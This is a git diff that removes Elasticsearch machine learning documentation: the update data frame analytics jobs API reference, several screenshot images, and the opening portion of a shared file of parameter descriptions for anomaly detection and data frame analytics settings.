--- a/docs/reference/ml/df-analytics/apis/update-dfanalytics.asciidoc
+++ /dev/null
@@ -1,103 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[update-dfanalytics]]
-= Update {dfanalytics-jobs} API
-[subs="attributes"]
-++++
-<titleabbrev>Update {dfanalytics-jobs}</titleabbrev>
-++++
-
-Updates an existing {dfanalytics-job}.
-
-experimental[]
-
-[[ml-update-dfanalytics-request]]
-== {api-request-title}
-
-`POST _ml/data_frame/analytics/<data_frame_analytics_id>/_update`
-
-
-[[ml-update-dfanalytics-prereq]]
-== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the following 
-built-in roles and privileges:
-
-* `machine_learning_admin`
-* source indices: `read`, `view_index_metadata`
-* destination index: `read`, `create_index`, `manage` and `index`
-  
-For more information, see <<built-in-roles>>, <<security-privileges>>, and
-{ml-docs-setup-privileges}.
-
-NOTE: The {dfanalytics-job} remembers which roles the user who updated it had at
-the time of the update. When you start the job, it performs the analysis using
-those same roles. If you provide
-<<http-clients-secondary-authorization,secondary authorization headers>>, 
-those credentials are used instead.
-
-[[ml-update-dfanalytics-desc]]
-== {api-description-title}
-
-This API updates an existing {dfanalytics-job} that performs an analysis on the source
-indices and stores the outcome in a destination index.
-
-
-[[ml-update-dfanalytics-path-params]]
-== {api-path-parms-title}
-
-`<data_frame_analytics_id>`::
-(Required, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-data-frame-analytics-define]
-
-[role="child_attributes"]
-[[ml-update-dfanalytics-request-body]]
-== {api-request-body-title}
-
-`allow_lazy_start`::
-(Optional, Boolean) 
-Specifies whether this job can start when there is insufficient {ml} node 
-capacity for it to be immediately assigned to a node. The default is `false`; if
-a {ml} node with capacity to run the job cannot immediately be found, the API
-returns an error. However, this is also subject to the cluster-wide
-`xpack.ml.max_lazy_ml_nodes` setting. See <<advanced-ml-settings>>. If this
-option is set to `true`, the API does not return an error and the job waits in
-the `starting` state until sufficient {ml} node capacity is available.
-
-`description`::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=description-dfa]
-
-`max_num_threads`::
-(Optional, integer)
-The maximum number of threads to be used by the analysis.
-The default value is `1`. Using more threads may decrease the time
-necessary to complete the analysis at the cost of using more CPU.
-Note that the process may use additional threads for operational
-functionality other than the analysis itself.
-
-`model_memory_limit`::
-(Optional, string)
-The approximate maximum amount of memory resources that are permitted for 
-analytical processing. The default value for {dfanalytics-jobs} is `1gb`. If 
-your `elasticsearch.yml` file contains an `xpack.ml.max_model_memory_limit` 
-setting, an error occurs when you try to create {dfanalytics-jobs} that have 
-`model_memory_limit` values greater than that setting. For more information, see 
-<<ml-settings>>.
-
-[[ml-update-dfanalytics-example]]
-== {api-examples-title}
-
-[[ml-update-dfanalytics-example-preprocess]]
-=== Updating model memory limit example
-
-The following example shows how to update the model memory limit for the existing {dfanalytics} configuration.
-
-[source,console]
---------------------------------------------------
-POST _ml/data_frame/analytics/model-flight-delays/_update
-{
-  "model_memory_limit": "200mb"
-}
---------------------------------------------------
-// TEST[skip:setup kibana sample data]
diff --git a/docs/reference/ml/images/ml-category-advanced.jpg b/docs/reference/ml/images/ml-category-advanced.jpg
deleted file mode 100644
index 0a862903c0b..00000000000
Binary files a/docs/reference/ml/images/ml-category-advanced.jpg and /dev/null differ
diff --git a/docs/reference/ml/images/ml-category-analyzer.jpg b/docs/reference/ml/images/ml-category-analyzer.jpg
deleted file mode 100644
index e9c4842a0de..00000000000
Binary files a/docs/reference/ml/images/ml-category-analyzer.jpg and /dev/null differ
diff --git a/docs/reference/ml/images/ml-category-anomalies.jpg b/docs/reference/ml/images/ml-category-anomalies.jpg
deleted file mode 100644
index fcbd0454886..00000000000
Binary files a/docs/reference/ml/images/ml-category-anomalies.jpg and /dev/null differ
diff --git a/docs/reference/ml/images/ml-category-wizard.jpg b/docs/reference/ml/images/ml-category-wizard.jpg
deleted file mode 100644
index eb78a3d51b5..00000000000
Binary files a/docs/reference/ml/images/ml-category-wizard.jpg and /dev/null differ
diff --git a/docs/reference/ml/images/ml-create-job.jpg b/docs/reference/ml/images/ml-create-job.jpg
deleted file mode 100644
index 506f3d8ea3c..00000000000
Binary files a/docs/reference/ml/images/ml-create-job.jpg and /dev/null differ
diff --git a/docs/reference/ml/images/ml-create-jobs.jpg b/docs/reference/ml/images/ml-create-jobs.jpg
deleted file mode 100644
index 0c37ea2c9ff..00000000000
Binary files a/docs/reference/ml/images/ml-create-jobs.jpg and /dev/null differ
diff --git a/docs/reference/ml/images/ml-customurl-edit.gif b/docs/reference/ml/images/ml-customurl-edit.gif
deleted file mode 100644
index e32312fb643..00000000000
Binary files a/docs/reference/ml/images/ml-customurl-edit.gif and /dev/null differ
diff --git a/docs/reference/ml/images/ml-customurl.jpg b/docs/reference/ml/images/ml-customurl.jpg
deleted file mode 100644
index 269b57acec3..00000000000
Binary files a/docs/reference/ml/images/ml-customurl.jpg and /dev/null differ
diff --git a/docs/reference/ml/images/ml-data-visualizer.jpg b/docs/reference/ml/images/ml-data-visualizer.jpg
deleted file mode 100644
index 11758bab17b..00000000000
Binary files a/docs/reference/ml/images/ml-data-visualizer.jpg and /dev/null differ
diff --git a/docs/reference/ml/images/ml-edit-job.jpg b/docs/reference/ml/images/ml-edit-job.jpg
deleted file mode 100644
index e6a3e6b1106..00000000000
Binary files a/docs/reference/ml/images/ml-edit-job.jpg and /dev/null differ
diff --git a/docs/reference/ml/images/ml-population-anomaly.png b/docs/reference/ml/images/ml-population-anomaly.png
deleted file mode 100644
index e2a05733f50..00000000000
Binary files a/docs/reference/ml/images/ml-population-anomaly.png and /dev/null differ
diff --git a/docs/reference/ml/images/ml-population-job.png b/docs/reference/ml/images/ml-population-job.png
deleted file mode 100644
index bab15230214..00000000000
Binary files a/docs/reference/ml/images/ml-population-job.png and /dev/null differ
diff --git a/docs/reference/ml/images/ml-population-results.png b/docs/reference/ml/images/ml-population-results.png
deleted file mode 100644
index fcf842ea1d1..00000000000
Binary files a/docs/reference/ml/images/ml-population-results.png and /dev/null differ
diff --git a/docs/reference/ml/images/ml-scriptfields.jpg b/docs/reference/ml/images/ml-scriptfields.jpg
deleted file mode 100644
index 0c9150734c0..00000000000
Binary files a/docs/reference/ml/images/ml-scriptfields.jpg and /dev/null differ
diff --git a/docs/reference/ml/images/ml-stop-feed.jpg b/docs/reference/ml/images/ml-stop-feed.jpg
deleted file mode 100644
index 3bf3c64402b..00000000000
Binary files a/docs/reference/ml/images/ml-stop-feed.jpg and /dev/null differ
diff --git a/docs/reference/ml/images/ml.jpg b/docs/reference/ml/images/ml.jpg
deleted file mode 100644
index 12f427675a1..00000000000
Binary files a/docs/reference/ml/images/ml.jpg and /dev/null differ
diff --git a/docs/reference/ml/ml-shared.asciidoc b/docs/reference/ml/ml-shared.asciidoc
deleted file mode 100644
index 729321c21f3..00000000000
--- a/docs/reference/ml/ml-shared.asciidoc
+++ /dev/null
@@ -1,1521 +0,0 @@
-tag::aggregations[]
-If set, the {dfeed} performs aggregation searches. Support for aggregations is
-limited and should be used only with low cardinality data. For more information,
-see
-{ml-docs}/ml-configuring-aggregation.html[Aggregating data for faster performance].
-end::aggregations[]
-
-tag::allow-lazy-open[]
-Advanced configuration option. Specifies whether this job can open when there is
-insufficient {ml} node capacity for it to be immediately assigned to a node. The
-default value is `false`; if a {ml} node with capacity to run the job cannot
-immediately be found, the <<ml-open-job,open {anomaly-jobs} API>> returns an
-error. However, this is also subject to the cluster-wide
-`xpack.ml.max_lazy_ml_nodes` setting; see <<advanced-ml-settings>>. If this
-option is set to `true`, the <<ml-open-job,open {anomaly-jobs} API>> does not
-return an error and the job waits in the `opening` state until sufficient {ml}
-node capacity is available.
-end::allow-lazy-open[]
-
-tag::allow-no-datafeeds[]
-Specifies what to do when the request:
-+
---
-* Contains wildcard expressions and there are no {dfeeds} that match.
-* Contains the `_all` string or no identifiers and there are no matches.
-* Contains wildcard expressions and there are only partial matches.
-
-The default value is `true`, which returns an empty `datafeeds` array when
-there are no matches and the subset of results when there are partial matches.
-If this parameter is `false`, the request returns a `404` status code when there
-are no matches or only partial matches.
---
-end::allow-no-datafeeds[]
-
-tag::allow-no-jobs[]
-Specifies what to do when the request:
-+
---
-* Contains wildcard expressions and there are no jobs that match.
-* Contains the `_all` string or no identifiers and there are no matches.
-* Contains wildcard expressions and there are only partial matches.
-
-The default value is `true`, which returns an empty `jobs` array
-when there are no matches and the subset of results when there are partial
-matches. If this parameter is `false`, the request returns a `404` status code
-when there are no matches or only partial matches.
---
-end::allow-no-jobs[]
-
-tag::allow-no-match[]
- Specifies what to do when the request:
-+
---
-* Contains wildcard expressions and there are no {dfanalytics-jobs} that match.
-* Contains the `_all` string or no identifiers and there are no matches.
-* Contains wildcard expressions and there are only partial matches.
-
-The default value is `true`, which returns an empty `data_frame_analytics` array
-when there are no matches and the subset of results when there are partial
-matches. If this parameter is `false`, the request returns a `404` status code
-when there are no matches or only partial matches.
---
-end::allow-no-match[]
-
-tag::allow-no-match-models[]
-Specifies what to do when the request:
-+
---
-* Contains wildcard expressions and there are no models that match.
-* Contains the `_all` string or no identifiers and there are no matches.
-* Contains wildcard expressions and there are only partial matches.
-
-The default value is `true`, which returns an empty array when there are no
-matches and the subset of results when there are partial matches. If this
-parameter is `false`, the request returns a `404` status code when there are no
-matches or only partial matches.
---
-end::allow-no-match-models[]
-
-tag::analysis[]
-Defines the type of {dfanalytics} you want to perform on your source index. For
-example: `outlier_detection`. See <<ml-dfa-analysis-objects>>.
-end::analysis[]
-
-tag::analysis-config[]
-The analysis configuration, which specifies how to analyze the data. After you
-create a job, you cannot change the analysis configuration; all the properties
-are informational.
-end::analysis-config[]
-
-tag::analysis-limits[]
-Limits can be applied for the resources required to hold the mathematical models
-in memory. These limits are approximate and can be set per job. They do not
-control the memory used by other processes, for example the {es} Java processes.
-end::analysis-limits[]
-
-tag::assignment-explanation-anomaly-jobs[]
-For open {anomaly-jobs} only, contains messages relating to the selection
-of a node to run the job.
-end::assignment-explanation-anomaly-jobs[]
-
-tag::assignment-explanation-datafeeds[]
-For started {dfeeds} only, contains messages relating to the selection of a
-node.
-end::assignment-explanation-datafeeds[]
-
-tag::assignment-explanation-dfanalytics[]
-Contains messages relating to the selection of a node.
-end::assignment-explanation-dfanalytics[]
-
-tag::background-persist-interval[]
-Advanced configuration option. The time between each periodic persistence of the
-model. The default value is a randomized value between 3 to 4 hours, which
-avoids all jobs persisting at exactly the same time. The smallest allowed value
-is 1 hour.
-+
---
-TIP: For very large models (several GB), persistence could take 10-20 minutes,
-so do not set the `background_persist_interval` value too low.
-
---
-end::background-persist-interval[]
-
-tag::bucket-allocation-failures-count[]
-The number of buckets for which new entities in incoming data were not processed
-due to insufficient model memory. This situation is also signified by a
-`hard_limit: memory_status` property value.
-end::bucket-allocation-failures-count[]
-
-tag::bucket-count[]
-The number of buckets processed.
-end::bucket-count[]
-
-tag::bucket-count-anomaly-jobs[]
-The number of bucket results produced by the job.
-end::bucket-count-anomaly-jobs[]
-
-tag::bucket-span[]
-The size of the interval that the analysis is aggregated into, typically between
-`5m` and `1h`. The default value is `5m`. If the {anomaly-job} uses a {dfeed}
-with {ml-docs}/ml-configuring-aggregation.html[aggregations], this value must be
-divisible by the interval of the date histogram aggregation. For more
-information, see {ml-docs}/ml-buckets.html[Buckets].
-end::bucket-span[]
-
-tag::bucket-span-results[]
-The length of the bucket in seconds. This value matches the `bucket_span`
-that is specified in the job.
-end::bucket-span-results[]
-
-tag::bucket-time-exponential-average[]
-Exponential moving average of all bucket processing times, in milliseconds.
-end::bucket-time-exponential-average[]
-
-tag::bucket-time-exponential-average-hour[]
-Exponentially-weighted moving average of bucket processing times
-calculated in a 1 hour time window, in milliseconds.
-end::bucket-time-exponential-average-hour[]
-
-tag::bucket-time-maximum[]
-Maximum among all bucket processing times, in milliseconds.
-end::bucket-time-maximum[]
-
-tag::bucket-time-minimum[]
-Minimum among all bucket processing times, in milliseconds.
-end::bucket-time-minimum[]
-
-tag::bucket-time-total[]
-Sum of all bucket processing times, in milliseconds.
-end::bucket-time-total[]
-
-tag::by-field-name[]
-The field used to split the data. In particular, this property is used for
-analyzing the splits with respect to their own history. It is used for finding
-unusual values in the context of the split.
-end::by-field-name[]
-
-tag::calendar-id[]
-A string that uniquely identifies a calendar.
-end::calendar-id[]
-
-tag::categorization-analyzer[]
-If `categorization_field_name` is specified, you can also define the analyzer
-that is used to interpret the categorization field. This property cannot be used
-at the same time as `categorization_filters`. The categorization analyzer
-specifies how the categorization field is interpreted by the categorization
-process. The syntax is very similar to that used to define the `analyzer` in the
-<<indices-analyze,Analyze endpoint>>. For more information, see
-{ml-docs}/ml-configuring-categories.html[Categorizing log messages].
-+
-The `categorization_analyzer` field can be specified either as a string or as an
-object. If it is a string it must refer to a
-<<analysis-analyzers,built-in analyzer>> or one added by another plugin. If it
-is an object it has the following properties:
-+
-.Properties of `categorization_analyzer`
-[%collapsible%open]
-=====
-`char_filter`::::
-(array of strings or objects)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=char-filter]
-
-`tokenizer`::::
-(string or object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=tokenizer]
-
-`filter`::::
-(array of strings or objects)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=filter]
-=====
-end::categorization-analyzer[]
-
-tag::categorization-examples-limit[]
-The maximum number of examples stored per category in memory and in the results
-data store. The default value is `4`.  If you increase this value, more examples
-are available, however it requires that you have more storage available. If you
-set this value to `0`, no examples are stored.
-+
-NOTE: The `categorization_examples_limit` only applies to analysis that uses
-categorization. For more information, see
-{ml-docs}/ml-configuring-categories.html[Categorizing log messages].
-end::categorization-examples-limit[]
-
-tag::categorization-field-name[]
-If this property is specified, the values of the specified field will be
-categorized. The resulting categories must be used in a detector by setting
-`by_field_name`, `over_field_name`, or `partition_field_name` to the keyword
-`mlcategory`. For more information, see
-{ml-docs}/ml-configuring-categories.html[Categorizing log messages].
-end::categorization-field-name[]
-
-tag::categorization-filters[]
-If `categorization_field_name` is specified, you can also define optional
-filters. This property expects an array of regular expressions. The expressions
-are used to filter out matching sequences from the categorization field values.
-You can use this functionality to fine tune the categorization by excluding
-sequences from consideration when categories are defined. For example, you can
-exclude SQL statements that appear in your log files. For more information, see
-{ml-docs}/ml-configuring-categories.html[Categorizing log messages]. This
-property cannot be used at the same time as `categorization_analyzer`. If you
-only want to define simple regular expression filters that are applied prior to
-tokenization, setting this property is the easiest method. If you also want to
-customize the tokenizer or post-tokenization filtering, use the
-`categorization_analyzer` property instead and include the filters as
-`pattern_replace` character filters. The effect is exactly the same.
-end::categorization-filters[]
-
-tag::categorization-status[]
-The status of categorization for the job. Contains one of the following values:
-+
---
-* `ok`: Categorization is performing acceptably well (or not being used at all).
-* `warn`: Categorization is detecting a distribution of categories that suggests
-the input data is inappropriate for categorization. Problems could be that there
-is only one category, more than 90% of categories are rare, the number of
-categories is greater than 50% of the number of categorized documents, there are
-no frequently matched categories, or more than 50% of categories are dead.
-
---
-end::categorization-status[]
-
-tag::categorized-doc-count[]
-The number of documents that have had a field categorized.
-end::categorized-doc-count[]
-
-tag::char-filter[]
-One or more <<analysis-charfilters,character filters>>. In addition to the
-built-in character filters, other plugins can provide more character filters.
-This property is optional. If it is not specified, no character filters are
-applied prior to categorization. If you are customizing some other aspect of the
-analyzer and you need to achieve the equivalent of `categorization_filters`
-(which are not permitted when some other aspect of the analyzer is customized),
-add them here as
-<<analysis-pattern-replace-charfilter,pattern replace character filters>>.
-end::char-filter[]
-
-tag::chunking-config[]
-{dfeeds-cap} might be required to search over long time periods, for several
-months or years. This search is split into time chunks in order to ensure the
-load on {es} is managed. Chunking configuration controls how the size of these
-time chunks are calculated and is an advanced configuration option.
-+
-.Properties of `chunking_config`
-[%collapsible%open]
-====
-`mode`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=mode]
-
-`time_span`:::
-(<<time-units,time units>>)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=time-span]
-====
-end::chunking-config[]
-
-tag::class-assignment-objective[]
-Defines the objective to optimize when assigning class labels:
-`maximize_accuracy` or `maximize_minimum_recall`. When maximizing accuracy,
-class labels are chosen to maximize the number of correct predictions. When
-maximizing minimum recall, labels are chosen to maximize the minimum recall
-for any class. Defaults to `maximize_minimum_recall`.
-end::class-assignment-objective[]
-
-tag::compute-feature-influence[]
-Specifies whether the feature influence calculation is enabled. Defaults to
-`true`.
-end::compute-feature-influence[]
-
-tag::custom-preprocessor[]
-(Optional, Boolean)
-Boolean value indicating if the analytics job created the preprocessor
-or if a user provided it. This adjusts the feature importance calculation.
-When `true`, the feature importance calculation returns importance for the
-processed feature. When `false`, the total importance of the original field
-is returned. Default is `false`.
-end::custom-preprocessor[]
-
-tag::custom-rules[]
-An array of custom rule objects, which enable you to customize the way detectors
-operate. For example, a rule may dictate to the detector conditions under which
-results should be skipped. For more examples, see
-{ml-docs}/ml-configuring-detector-custom-rules.html[Customizing detectors with custom rules].
-end::custom-rules[]
-
-tag::custom-rules-actions[]
-The set of actions to be triggered when the rule applies. If
-more than one action is specified the effects of all actions are combined. The
-available actions include:
-
-* `skip_result`: The result will not be created. This is the default value.
-Unless you also specify `skip_model_update`, the model will be updated as usual
-with the corresponding series value.
-* `skip_model_update`: The value for that series will not be used to update the
-model. Unless you also specify `skip_result`, the results will be created as
-usual. This action is suitable when certain values are expected to be
-consistently anomalous and they affect the model in a way that negatively
-impacts the rest of the results.
-end::custom-rules-actions[]
-
-tag::custom-rules-scope[]
-An optional scope of series where the rule applies. A rule must either
-have a non-empty scope or at least one condition. By default, the scope includes
-all series. Scoping is allowed for any of the fields that are also specified in
-`by_field_name`, `over_field_name`, or `partition_field_name`. To add a scope
-for a field, add the field name as a key in the scope object and set its value
-to an object with the following properties:
-end::custom-rules-scope[]
-
-tag::custom-rules-scope-filter-id[]
-The id of the filter to be used.
-end::custom-rules-scope-filter-id[]
-
-tag::custom-rules-scope-filter-type[]
-Either `include` (the rule applies for values in the filter) or `exclude` (the
-rule applies for values not in the filter). Defaults to `include`.
-end::custom-rules-scope-filter-type[]
-
-tag::custom-rules-conditions[]
-An optional array of numeric conditions when the rule applies. A rule must
-either have a non-empty scope or at least one condition. Multiple conditions are
-combined together with a logical `AND`. A condition has the following
-properties:
-end::custom-rules-conditions[]
-
-tag::custom-rules-conditions-applies-to[]
-Specifies the result property to which the condition applies. The available
-options are `actual`, `typical`, `diff_from_typical`, `time`. If your detector
-uses `lat_long`, `metric`, `rare`, or `freq_rare` functions, you can only
-specify conditions that apply to `time`.
-end::custom-rules-conditions-applies-to[]
-
-tag::custom-rules-conditions-operator[]
-Specifies the condition operator. The available options are `gt` (greater than),
-`gte` (greater than or equals), `lt` (less than) and `lte` (less than or
-equals).
-end::custom-rules-conditions-operator[]
-
-tag::custom-rules-conditions-value[]
-The value that is compared against the `applies_to` field using the `operator`.
-end::custom-rules-conditions-value[]
-
-tag::custom-settings[]
-Advanced configuration option. Contains custom meta data about the job. For
-example, it can contain custom URL information as shown in
-{ml-docs}/ml-configuring-url.html[Adding custom URLs to {ml} results].
-end::custom-settings[]
-
-tag::daily-model-snapshot-retention-after-days[]
-Advanced configuration option, which affects the automatic removal of old model
-snapshots for this job. It specifies a period of time (in days) after which only
-the first snapshot per day is retained. This period is relative to the timestamp
-of the most recent snapshot for this job. Valid values range from `0` to
-`model_snapshot_retention_days`. For new jobs, the default value is `1`. For
-jobs created before version 7.8.0, the default value matches
-`model_snapshot_retention_days`. For more information, refer to
-{ml-docs}/ml-model-snapshots.html[Model snapshots].
-end::daily-model-snapshot-retention-after-days[]
-
-tag::data-description[]
-The data description defines the format of the input data when you send data to
-the job by using the <<ml-post-data,post data>> API. Note that when configure
-a {dfeed}, these properties are automatically set. When data is received via
-the <<ml-post-data,post data>> API, it is not stored in {es}. Only the results
-for {anomaly-detect} are retained.
-+
-.Properties of `data_description`
-[%collapsible%open]
-====
-`format`:::
-  (string) Only `JSON` format is supported at this time.
-
-`time_field`:::
-  (string) The name of the field that contains the timestamp.
-  The default value is `time`.
-
-`time_format`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=time-format]
-====
-end::data-description[]
-
-tag::datafeed-id[]
-A numerical character string that uniquely identifies the
-{dfeed}. This identifier can contain lowercase alphanumeric characters (a-z
-and 0-9), hyphens, and underscores. It must start and end with alphanumeric
-characters.
-end::datafeed-id[]
-
-tag::datafeed-id-wildcard[]
-Identifier for the {dfeed}. It can be a {dfeed} identifier or a wildcard
-expression.
-end::datafeed-id-wildcard[]
-
-tag::dead-category-count[]
-The number of categories created by categorization that will never be assigned
-again because another category's definition makes it a superset of the dead
-category. (Dead categories are a side effect of the way categorization has no
-prior training.)
-end::dead-category-count[]
-
-tag::delayed-data-check-config[]
-Specifies whether the {dfeed} checks for missing data and the size of the
-window. For example: `{"enabled": true, "check_window": "1h"}`.
-+
-The {dfeed} can optionally search over indices that have already been read in
-an effort to determine whether any data has subsequently been added to the
-index. If missing data is found, it is a good indication that the `query_delay`
-option is set too low and the data is being indexed after the {dfeed} has passed
-that moment in time. See
-{ml-docs}/ml-delayed-data-detection.html[Working with delayed data].
-+
-This check runs only on real-time {dfeeds}.
-+
-.Properties of `delayed_data_check_config`
-[%collapsible%open]
-====
-`check_window`::
-(<<time-units,time units>>) The window of time that is searched for late data.
-This window of time ends with the latest finalized bucket. It defaults to
-`null`, which causes an appropriate `check_window` to be calculated when the
-real-time {dfeed} runs. In particular, the default `check_window` span
-calculation is based on the maximum of `2h` or `8 * bucket_span`.
-
-`enabled`::
-(Boolean) Specifies whether the {dfeed} periodically checks for delayed data.
-Defaults to `true`.
-====
-end::delayed-data-check-config[]
-
-tag::dependent-variable[]
-Defines which field of the document is to be predicted.
-This parameter is supplied by field name and must match one of the fields in
-the index being used to train. If this field is missing from a document, then
-that document will not be used for training, but a prediction with the trained
-model will be generated for it. It is also known as continuous target variable.
-end::dependent-variable[]
-
-tag::desc-results[]
-If true, the results are sorted in descending order.
-end::desc-results[]
-
-tag::description-dfa[]
-A description of the job.
-end::description-dfa[]
-
-tag::dest[]
-The destination configuration, consisting of `index` and optionally
-`results_field` (`ml` by default).
-+
-.Properties of `dest`
-[%collapsible%open]
-====
-`index`:::
-(Required, string) Defines the _destination index_ to store the results of the
-{dfanalytics-job}.
-
-`results_field`:::
-(Optional, string) Defines the name of the field in which to store the results
-of the analysis. Defaults to `ml`.
-====
-end::dest[]
-
-tag::detector-description[]
-A description of the detector. For example, `Low event rate`.
-end::detector-description[]
-
-tag::detector-field-name[]
-The field that the detector uses in the function. If you use an event rate
-function such as `count` or `rare`, do not specify this field.
-+
---
-NOTE: The `field_name` cannot contain double quotes or backslashes.
-
---
-end::detector-field-name[]
-
-tag::detector-index[]
-A unique identifier for the detector. This identifier is based on the order of
-the detectors in the `analysis_config`, starting at zero.
-end::detector-index[]
-
-tag::dfas-alpha[]
-Regularization factor to penalize deeper trees when training decision trees.
-end::dfas-alpha[]
-
-tag::dfas-downsample-factor[]
-The value of the downsample factor.
-end::dfas-downsample-factor[]
-
-tag::dfas-eta-growth[]
-Specifies the rate at which the `eta` increases for each new tree that is added to the
-forest. For example, a rate of `1.05` increases `eta` by 5%.
-end::dfas-eta-growth[]
-
-tag::dfas-feature-processors[]
-A collection of feature preprocessors that modify one or more included fields.
-The analysis uses the resulting one or more features instead of the
-original document field. Multiple `feature_processors` entries can refer to the
-same document fields.
-Note, automatic categorical {ml-docs}/ml-feature-encoding.html[feature encoding] 
-still occurs.
-end::dfas-feature-processors[]
-
-tag::dfas-feature-processors-feat-name[]
-The resulting feature name.
-end::dfas-feature-processors-feat-name[]
-
-tag::dfas-feature-processors-field[]
-The name of the field to encode.
-end::dfas-feature-processors-field[]
-
-tag::dfas-feature-processors-frequency[]
-The configuration information necessary to perform frequency encoding.
-end::dfas-feature-processors-frequency[]
-
-tag::dfas-feature-processors-frequency-map[]
-The resulting frequency map for the field value. If the field value is missing 
-from the `frequency_map`, the resulting value is `0`.
-end::dfas-feature-processors-frequency-map[]
-
-tag::dfas-feature-processors-ngram[]
-The configuration information necessary to perform ngram encoding. Features 
-written out by this encoder have the following name format: 
-`<feature_prefix>.<ngram><string position>`. For example, if the 
-`feature_prefix` is `f`, the feature name for the second unigram in a string is 
-`f.11`.
-end::dfas-feature-processors-ngram[]
-
-tag::dfas-feature-processors-ngram-feat-pref[]
-The feature name prefix. Defaults to `ngram_<start>_<length>`.
-end::dfas-feature-processors-ngram-feat-pref[]
-
-tag::dfas-feature-processors-ngram-field[]
-The name of the text field to encode.
-end::dfas-feature-processors-ngram-field[]
-
-tag::dfas-feature-processors-ngram-length[]
-Specifies the length of the ngram substring. Defaults to `50`. Must be greater 
-than `0`.
-end::dfas-feature-processors-ngram-length[]
-
-tag::dfas-feature-processors-ngram-ngrams[]
-Specifies which ngrams to gather. It’s an array of integer values where the 
-minimum value is 1, and a maximum value is 5.
-end::dfas-feature-processors-ngram-ngrams[]
-
-tag::dfas-feature-processors-ngram-start[]
-Specifies the zero-indexed start of the ngram substring. Negative values are 
-allowed for encoding ngram of string suffixes. Defaults to `0`.
-end::dfas-feature-processors-ngram-start[]
-
-tag::dfas-feature-processors-one-hot[]
-The configuration information necessary to perform one hot encoding.
-end::dfas-feature-processors-one-hot[]
-
-tag::dfas-feature-processors-one-hot-map[]
-The one hot map mapping the field value with the column name.
-end::dfas-feature-processors-one-hot-map[]
-
-tag::dfas-feature-processors-target-mean[]
-The configuration information necessary to perform target mean encoding.
-end::dfas-feature-processors-target-mean[]
-
-tag::dfas-feature-processors-target-mean-default[]
-The default value if field value is not found in the `target_map`.
-end::dfas-feature-processors-target-mean-default[]
-
-tag::dfas-feature-processors-target-mean-map[]
-The field value to target mean transition map.
-end::dfas-feature-processors-target-mean-map[]
-
-tag::dfas-iteration[]
-The number of iterations on the analysis.
-end::dfas-iteration[]
-
-tag::dfas-max-attempts[]
-If the algorithm fails to determine a non-trivial tree (more than a single
-leaf), this parameter determines how many of such consecutive failures are
-tolerated. Once the number of attempts exceeds the threshold, the forest
-training stops.
-end::dfas-max-attempts[]
-
-tag::dfas-max-optimization-rounds[]
-A multiplier responsible for determining the maximum number of
-hyperparameter optimization steps in the Bayesian optimization procedure.
-The maximum number of steps is determined based on the number of undefined hyperparameters
-times the maximum optimization rounds per hyperparameter.
-end::dfas-max-optimization-rounds[]
-
-tag::dfas-num-folds[]
-The maximum number of folds for the cross-validation procedure.
-end::dfas-num-folds[]
-
-tag::dfas-num-splits[]
-Determines the maximum number of splits for every feature that can occur in a
-decision tree when the tree is trained.
-end::dfas-num-splits[]
-
-tag::dfas-soft-limit[]
-Tree depth limit is used for calculating the tree depth penalty. This is a soft
-limit, it can be exceeded.
-end::dfas-soft-limit[]
-
-tag::dfas-soft-tolerance[]
-Tree depth tolerance is used for calculating the tree depth penalty. This is a
-soft limit, it can be exceeded.
-end::dfas-soft-tolerance[]
-
-tag::dfas-timestamp[]
-The timestamp when the statistics were reported in milliseconds since the epoch.
-end::dfas-timestamp[]
-
-tag::dfas-timing-stats[]
-An object containing time statistics about the {dfanalytics-job}.
-end::dfas-timing-stats[]
-
-tag::dfas-timing-stats-elapsed[]
-Runtime of the analysis in milliseconds.
-end::dfas-timing-stats-elapsed[]
-
-tag::dfas-timing-stats-iteration[]
-Runtime of the latest iteration of the analysis in milliseconds.
-end::dfas-timing-stats-iteration[]
-
-tag::dfas-validation-loss[]
-An object containing information about validation loss.
-end::dfas-validation-loss[]
-
-tag::dfas-validation-loss-fold[]
-Validation loss values for every added decision tree during the forest growing
-procedure.
-end::dfas-validation-loss-fold[]
-
-tag::dfas-validation-loss-type[]
-The type of the loss metric. For example, `binomial_logistic`.
-end::dfas-validation-loss-type[]
-
-tag::earliest-record-timestamp[]
-The timestamp of the earliest chronologically input document.
-end::earliest-record-timestamp[]
-
-tag::empty-bucket-count[]
-The number of buckets which did not contain any data. If your data
-contains many empty buckets, consider increasing your `bucket_span` or using
-functions that are tolerant to gaps in data such as `mean`, `non_null_sum` or
-`non_zero_count`.
-end::empty-bucket-count[]
-
-tag::eta[]
-Advanced configuration option. The shrinkage applied to the weights. Smaller
-values result in larger forests which have a better generalization error.
-However, the smaller the value the longer the training will take. For more
-information, about shrinkage, see
-{wikipedia}/Gradient_boosting#Shrinkage[this wiki article]. By
-default, this value is calcuated during hyperparameter optimization.
-end::eta[]
-
-tag::exclude-frequent[]
-Contains one of the following values: `all`, `none`, `by`, or `over`. If set,
-frequent entities are excluded from influencing the anomaly results. Entities
-can be considered frequent over time or frequent in a population. If you are
-working with both over and by fields, then you can set `exclude_frequent` to
-`all` for both fields, or to `by` or `over` for those specific fields.
-end::exclude-frequent[]
-
-tag::exclude-interim-results[]
-If `true`, the output excludes interim results. By default, interim results are
-included.
-end::exclude-interim-results[]
-
-tag::failed-category-count[]
-The number of times that categorization wanted to create a new category but
-couldn't because the job had hit its `model_memory_limit`. This count does not
-track which specific categories failed to be created. Therefore you cannot use
-this value to determine the number of unique categories that were missed.
-end::failed-category-count[]
-
-tag::feature-bag-fraction[]
-Advanced configuration option. Defines the fraction of features that will be
-used when selecting a random bag for each candidate split. By default, this
-value is calculated during hyperparameter optimization.
-end::feature-bag-fraction[]
-
-tag::feature-influence-threshold[]
-The minimum {olscore} that a document needs to have to calculate its feature
-influence score. Value range: 0-1 (`0.1` by default).
-end::feature-influence-threshold[]
-
-tag::filter[]
-One or more <<analysis-tokenfilters,token filters>>. In addition to the built-in
-token filters, other plugins can provide more token filters. This property is
-optional. If it is not specified, no token filters are applied prior to
-categorization.
-end::filter[]
-
